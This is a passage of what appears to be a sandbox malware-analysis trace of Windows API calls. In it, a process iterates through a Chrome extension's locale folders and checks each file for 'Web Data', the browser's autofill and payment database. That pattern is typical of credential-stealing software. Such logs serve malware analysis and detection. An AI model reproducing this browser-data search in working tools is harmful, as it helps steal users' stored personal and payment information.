IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*" [0054.432] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.433] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.433] LocalFree (hMem=0x74cf00) returned 0x0 [0054.433] LocalFree (hMem=0x74d010) returned 0x0 [0054.433] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.433] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0054.433] LocalFree (hMem=0x74cf00) returned 0x0 [0054.433] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*" [0054.433] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.433] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.433] LocalFree (hMem=0x74cf00) returned 0x0 [0054.433] LocalFree (hMem=0x74d010) returned 0x0 [0054.433] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.433] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0054.433] LocalFree (hMem=0x74cf00) returned 0x0 [0054.433] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0054.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*" [0054.433] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.434] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.434] LocalFree (hMem=0x74cf00) returned 0x0 [0054.434] LocalFree (hMem=0x74d010) returned 0x0 [0054.434] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.434] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0054.434] LocalFree (hMem=0x74cf00) returned 0x0 [0054.434] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*" [0054.434] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.434] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.434] LocalFree (hMem=0x74cf00) returned 0x0 [0054.434] LocalFree (hMem=0x74d010) returned 0x0 [0054.434] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.434] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0054.434] LocalFree (hMem=0x74cf00) returned 0x0 [0054.434] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0054.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*" [0054.434] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.435] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.435] LocalFree (hMem=0x74cf00) returned 0x0 [0054.435] LocalFree (hMem=0x74d010) returned 0x0 [0054.435] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.435] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0054.435] LocalFree (hMem=0x74cf00) returned 0x0 [0054.435] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0054.435] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*" [0054.435] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.435] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.435] LocalFree (hMem=0x74cf00) returned 0x0 [0054.435] LocalFree (hMem=0x74d010) returned 0x0 [0054.435] LocalFree (hMem=0x74cf00) returned 0x0 [0054.435] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.436] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.436] LocalFree (hMem=0x74cf00) returned 0x0 [0054.436] LocalFree (hMem=0x74d010) returned 0x0 [0054.436] LocalFree (hMem=0x74cf00) returned 0x0 [0054.436] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.436] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.436] LocalFree (hMem=0x74cf00) returned 0x0 [0054.436] LocalFree (hMem=0x74d010) returned 0x0 [0054.436] LocalFree (hMem=0x74cf00) returned 0x0 [0054.436] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.437] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.437] LocalFree (hMem=0x74cf00) returned 0x0 [0054.437] LocalFree (hMem=0x74d010) returned 0x0 [0054.437] LocalFree (hMem=0x74cf00) returned 0x0 [0054.437] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.437] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.437] LocalFree (hMem=0x74cf00) returned 0x0 [0054.437] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.437] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.437] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.438] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.438] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.438] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.438] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.438] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.438] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.439] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.439] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.439] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.439] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.440] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.440] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.440] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.440] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.440] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.441] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.441] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.441] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", 